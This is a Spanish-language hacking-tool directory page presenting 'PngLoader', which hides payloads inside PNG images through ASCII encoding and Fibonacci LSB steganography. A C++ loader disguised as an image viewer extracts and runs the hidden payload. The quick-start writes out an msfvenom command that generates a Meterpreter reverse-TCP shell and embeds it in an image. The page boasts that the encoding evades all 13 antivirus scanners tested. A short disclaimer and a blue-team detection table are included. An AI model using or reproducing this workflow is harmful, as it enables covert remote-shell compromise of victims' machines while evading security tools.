Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PngLoader — Oculta payloads arbitrarios en imágenes PNG mediante codificación de nibble a ASCII y esteganografía LSB de Fibonacci, con un loader en C++ que extrae y ejecuta los datos incrustados. | Kitploit
Herramientas/GitHubGitHub/i014n/pngloader
Herramientas DefensivasGeneración de PayloadsExplotaciónShellcodeEsteganografíaAnálisis de MalwareAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubi014n/pngloader

PngLoader

Oculta payloads arbitrarios en imágenes PNG mediante codificación de nibble a ASCII y esteganografía LSB de Fibonacci, con un loader en C++ que extrae y ejecuta los datos incrustados.

3130hace 22h 46mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

PngLoader — Investigación de payloads esteganográficos

Descargo de responsabilidad: Este proyecto es únicamente para investigación educativa y de seguridad autorizada — pruebas de penetración, competiciones CTF, ejercicios de red team y estudio académico. No lo utilices contra sistemas sin autorización escrita explícita.


Descripción general

PngLoader oculta datos arbitrarios dentro de imágenes PNG usando dos capas:

  1. Codificación nibble a ASCII — binario → caracteres ASCII imprimibles
  2. Esteganografía de Fibonacci — datos codificados → píxeles dispersos en un PNG
  3. Loader — un "visor de PNG" para Windows que extrae y ejecuta los datos ocultos

Inicio rápido

# 1. Generate raw test data
msfvenom -p  windows/x64/meterpreter/reverse_tcp   LHOST=<> LPORT=<>  -f raw -o payload.bin

# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt

# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png

# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex

# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

Demostración de PoC

Demostración de PoC


Estructura del proyecto

PngLoader/
├── 0.Scripts/
│   ├── TransformRawToEncode.py      # Nibble-to-ASCII encoder/decoder
│   └── HideEncodeToPicture.py       # Fibonacci steganography (embed/extract)
├── 1.Loader/
│   ├── loader_png.cpp               # PNG viewer + steganography extractor
│   ├── loader.cpp                   # Alternate loader (inline buffer)
│   ├── Utils.cpp / Utils.h          # ASCII → binary decoder
│   ├── VirtualBuffer.h/.cpp         # RAII VirtualAlloc wrapper
│   ├── Hearders.h                   # Shared Windows includes
│   └── Loader_png.vcxproj           # Visual Studio project
├── 2.Payloads/
│   └── clean.png                    # Sample cover image
└── readme.md

Cómo funciona

Etapa 1 — Codificación de nibble a ASCII

Cada byte se divide en dos nibbles de 4 bits. Cada nibble se asigna a un carácter ASCII imprimible sumando una base aleatoria (48, 64 o 96):

Byte 0xFC → high nibble 0xF, low nibble 0xC

High: 48+15=63 '?'  |  64+15=79 'O'  |  96+15=111 'o'
Low:  48+12=60 '<'  |  64+12=76 'L'  |  96+12=108 'l'

Decodificación utiliza la propiedad módulo-16 — las tres bases son múltiplos de 16:

original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)

La selección de base aleatoria significa que la misma entrada produce una salida diferente cada vez, pero la decodificación siempre es determinista.

BaseRangoCaracteres
4848–630123456789:;<=>?
6464–79@ABCDEFGHIJKLMNO
9696–111 `abcdefghijklmno

Etapa 2 — Esteganografía de Fibonacci

Los bytes de la carga útil se colocan en índices de píxeles siguiendo la secuencia de Fibonacci (1, 2, 3, 5, 8, 13, 21, …) sobre el arreglo aplanado de píxeles. Esto distribuye las modificaciones a lo largo de la imagen en lugar de agruparlas.

Empaquetado de bits — cada byte se divide 3/3/2 entre los LSB de RGB:

R: bits 7–5  (3 LSBs)
G: bits 4–2  (3 LSBs)
B: bits 1–0  (2 LSBs)

Wrapping — cuando los índices de Fibonacci superan el número de píxeles, se envuelven mediante módulo. Las colisiones se resuelven mediante sondeo lineal. Un terminador 0x00 marca el fin de los datos.

Tamaño de imagenPíxelesCapacidad limpia
640×480307,200~27 bytes
1920×10802,073,600~31 bytes
4000×300012M~35 bytes

Con el wrapping habilitado, la capacidad máxima = total_pixels − 1.

Etapa 3 — Loader

El loader en C++ (loader_png.cpp) actúa como un visor de PNG legítimo:

  1. Muestra la imagen normalmente usando GDI+
  2. Extrae los bytes ocultos de las posiciones de píxeles de Fibonacci usando WIC (RGB24)
  3. Decodifica ASCII → binario mediante UtilDecryptFileQuoted() (reversión mod-16)

Algoritmos de posicionamiento alternativos

La secuencia de Fibonacci es solo un enfoque. Otras estrategias de selección de píxeles ofrecen diferentes compensaciones entre capacidad y seguridad:

AlgoritmoCapacidad limpia (1080p)Clave compartidaDispersiónCoste
Fibonacci (implementado)~31 bytesNoHuecos exponencialesMínimo
Prime-Index~150K bytesNoHuecos n·ln(n)Moderado
LFSR~2M bytesSí (semilla)PseudoaleatorioMínimo
Keyed Permutation~2M bytesSí (clave)CriptográficoAlto
Hilbert CurveDependiente del strideNoEspacialmente uniformeModerado
Golden Ratio (Weyl)~2M bytesNoBaja discrepanciaMínimo
Detalles de cada algoritmo

Prime-Index — Los índices de píxeles son números primos (2, 3, 5, 7, 11…). Los primos crecen como n·ln(n), lo que proporciona una capacidad limpia mucho mayor que Fibonacci.

LFSR — Un registro de desplazamiento con retroalimentación lineal de longitud máxima produce una permutación pseudoaleatoria. La semilla actúa como un secreto compartido. Cero colisiones durante el período completo.

Keyed Permutation (Fisher-Yates) — Una mezcla de todos los índices de píxeles sembrada con un CSPRNG. Las posiciones son indistinguibles de aleatorias sin la clave.

Hilbert Curve — Recorre los píxeles a lo largo de una curva de relleno espacial con un stride. Distribuye los cambios de manera uniforme por el área bidimensional de la imagen.

Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. Produce la distribución 1D más uniforme posible. Trivial de calcular.


Resultados del escaneo

Carga útil sin procesar — 7/13 escáneres la detectan:

Escaneo de la carga útil sin procesar

Tras la codificación — 0/13 escáneres la detectan:

Escaneo de la carga útil codificada


Guía de detección

Para equipos defensivos / blue-team:

CapaIndicador
EstáticoImportaciones: VirtualAllocEx, WriteProcessMemory, SetThreadContext
ImagenEl estegoanálisis chi-cuadrado sobre los planos LSB detecta modificaciones
ConductualCreación de procesos suspendidos + inyección de hilos remotos (Sysmon EID 1+8)
CodificaciónCaracteres exclusivamente de tres rangos ASCII de 16 caracteres

Compilación y dependencias

Python:

pip install numpy Pillow

Cargador de C++:

  • Visual Studio 2019+ con la carga de trabajo de escritorio de C++
  • SDK de Windows 10+
  • Abrir 1.Loader/Loader_png.vcxproj → Compilar en Release x64

Referencias

  • Esteganografía LSB
  • Sucesión de Fibonacci
  • Componente de Imágenes de Windows

Licencia

Descargar herramienta